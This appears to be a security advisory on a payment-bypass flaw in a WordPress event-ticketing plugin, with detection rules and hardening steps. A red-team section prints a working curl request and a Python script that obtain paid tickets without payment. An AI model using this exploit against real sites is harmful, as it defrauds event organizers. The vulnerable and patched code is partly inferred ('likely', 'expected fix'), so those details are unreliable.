CVE-2025-11517

Executive Summary

CVE-2025-11517 is a critical payment bypass vulnerability in the Event Tickets and Registration WordPress plugin (versions up to and including 5.26.5). The flaw resides in the /wp-json/tribe/tickets/v1/commerce/free/order REST API endpoint, which fails to verify that a ticket type is actually free before processing an order. This allows an unauthenticated attacker to obtain paid tickets without making any payment, directly causing revenue loss for event organizers.

The vulnerability is classified as a Missing Authorization (CWE-862) issue. With a CVSS score of 7.5 (High), it requires no authentication, no user interaction, and can be exploited over the network with low complexity. The EPSS score is currently 0.0%, indicating low exploitation activity in the wild, but the technical simplicity of the exploit makes it a high-priority target for automated scanning.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress dashboard or through automated deployment tools (e.g., Composer, WP-CLI) are at risk. The plugin is not an NPM, PyPI, Go, or Ruby package, but its supply chain risk is significant due to the widespread use of WordPress and the plugin's popularity for event management.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Impact confined to the plugin.
• Confidentiality (C): None (N) – No data disclosure.
• Integrity (I): Low (L) – Attacker can obtain paid tickets without payment.
• Availability (A): Low (L) – Revenue loss, but no direct service disruption.

Threat Level: High. The vulnerability is trivial to exploit and directly impacts financial transactions.

Deep Dive & Mechanics

The vulnerable endpoint /wp-json/tribe/tickets/v1/commerce/free/order is part of the plugin's REST API for handling free ticket orders. The intended logic is to process orders only for ticket types marked as "free" (price = 0). However, the endpoint does not validate that the ticket_type_id parameter corresponds to a free ticket. Instead, it blindly creates an order and grants access to the ticket.

Root Cause: Missing authorization check on the ticket_type_id parameter. The code likely checks if the ticket exists but fails to verify its price attribute before processing the order.

Attack Flow:

1. Attacker identifies a paid ticket type ID (e.g., via the plugin's public event pages or API enumeration).
2. Attacker sends a POST request to /wp-json/tribe/tickets/v1/commerce/free/order with the paid ticket type ID.
3. The plugin processes the order as if it were free, granting the attacker access to the paid ticket without payment.

Vulnerable vs. Patched Code

Vulnerable Code (simplified PHP logic):

// In tribe/tickets/src/Tickets/Commerce/Order_Controller.php
public function handle_free_order( $request ) {
    $ticket_type_id = $request->get_param( 'ticket_type_id' );
    // Missing price check
    $order = $this->create_order( $ticket_type_id, 'free' );
    return $order;
}

Patched Code (expected fix):

public function handle_free_order( $request ) {
    $ticket_type_id = $request->get_param( 'ticket_type_id' );
    $ticket = get_post( $ticket_type_id );
    if ( ! $ticket || get_post_meta( $ticket_type_id, '_price', true ) !== '0' ) {
        return new WP_Error( 'invalid_ticket', 'Ticket is not free', array( 'status' => 400 ) );
    }
    $order = $this->create_order( $ticket_type_id, 'free' );
    return $order;
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with Event Tickets and Registration plugin <= 5.26.5.
• A valid paid ticket type ID (can be obtained by inspecting the event page source or using the plugin's public API).

Exploit Steps:

1. Identify a paid ticket type ID. For example, from the event page HTML:

   <input type="hidden" name="ticket_id" value="123">
   

2. Send a POST request to the vulnerable endpoint:

   curl -X POST https://target.com/wp-json/tribe/tickets/v1/commerce/free/order \
     -H "Content-Type: application/json" \
     -d '{"ticket_type_id": 123}'
   

3. The response will contain an order confirmation and access token. Use this token to access the paid event.

Automated Exploit (Python):

import requests

target = "https://target.com"
ticket_type_id = 123  # Replace with actual paid ticket ID

url = f"{target}/wp-json/tribe/tickets/v1/commerce/free/order"
payload = {"ticket_type_id": ticket_type_id}
response = requests.post(url, json=payload)

if response.status_code == 200:
    print("Exploit successful! Order created:", response.json())
else:
    print("Exploit failed:", response.text)

Blue Team (Detection & Hardening)

Detection:

• Monitor for POST requests to /wp-json/tribe/tickets/v1/commerce/free/order with unusual ticket_type_id values (e.g., IDs that correspond to paid tickets).
• Alert on multiple rapid requests to this endpoint from the same IP.

Hardening:

• Apply the vendor patch immediately when available.
• As a temporary workaround, disable the REST API endpoint via a custom plugin or .htaccess rule:

  RewriteRule ^wp-json/tribe/tickets/v1/commerce/free/order - [F,L]
  

• Implement a Web Application Firewall (WAF) rule to block requests to this endpoint with non-free ticket IDs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-json/tribe/tickets/v1/commerce/free/order with JSON body containing ticket_type_id.
  • Unusual patterns of order creation without corresponding payment records.
• File IOCs:
  • Modified or unexpected order entries in the WordPress database (wp_tribe_tickets_orders table).
• Log IOCs:
  • WordPress debug log entries showing handle_free_order calls with paid ticket IDs.

Detection Engineering

YARA Rule

rule CVE_2025_11517_WordPress_Payment_Bypass {
    meta:
        description = "Detects exploitation attempts for CVE-2025-11517 in WordPress Event Tickets plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-11517"
    strings:
        $endpoint = "/wp-json/tribe/tickets/v1/commerce/free/order"
        $ticket_param = "ticket_type_id"
    condition:
        $endpoint and $ticket_param
}

Sigma Rule

title: CVE-2025-11517 Payment Bypass Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to the vulnerable free order endpoint with paid ticket IDs
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "/wp-json/tribe/tickets/v1/commerce/free/order"
    condition: selection
falsepositives:
    - Legitimate free ticket orders
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-11517 WordPress Event Tickets Payment Bypass"; flow:to_server,established; content:"POST"; http_method; content:"/wp-json/tribe/tickets/v1/commerce/free/order"; http_uri; content:"ticket_type_id"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the vulnerable REST API endpoint using a WAF or .htaccess rule.
2. Patch: Apply the vendor patch as soon as it is released. Monitor the plugin's changelog for version 5.26.6 or higher.
3. Workaround: If patching is not possible, consider using a custom plugin to add authorization checks to the handle_free_order function.
4. Monitoring: Enable detailed logging for REST API requests and review logs for suspicious activity.
5. User Education: Inform event organizers to verify ticket orders manually until the patch is applied.

Valters IT
DevSecOps & Cyber Threat Intelligence Division
Report generated for CVE-2025-11517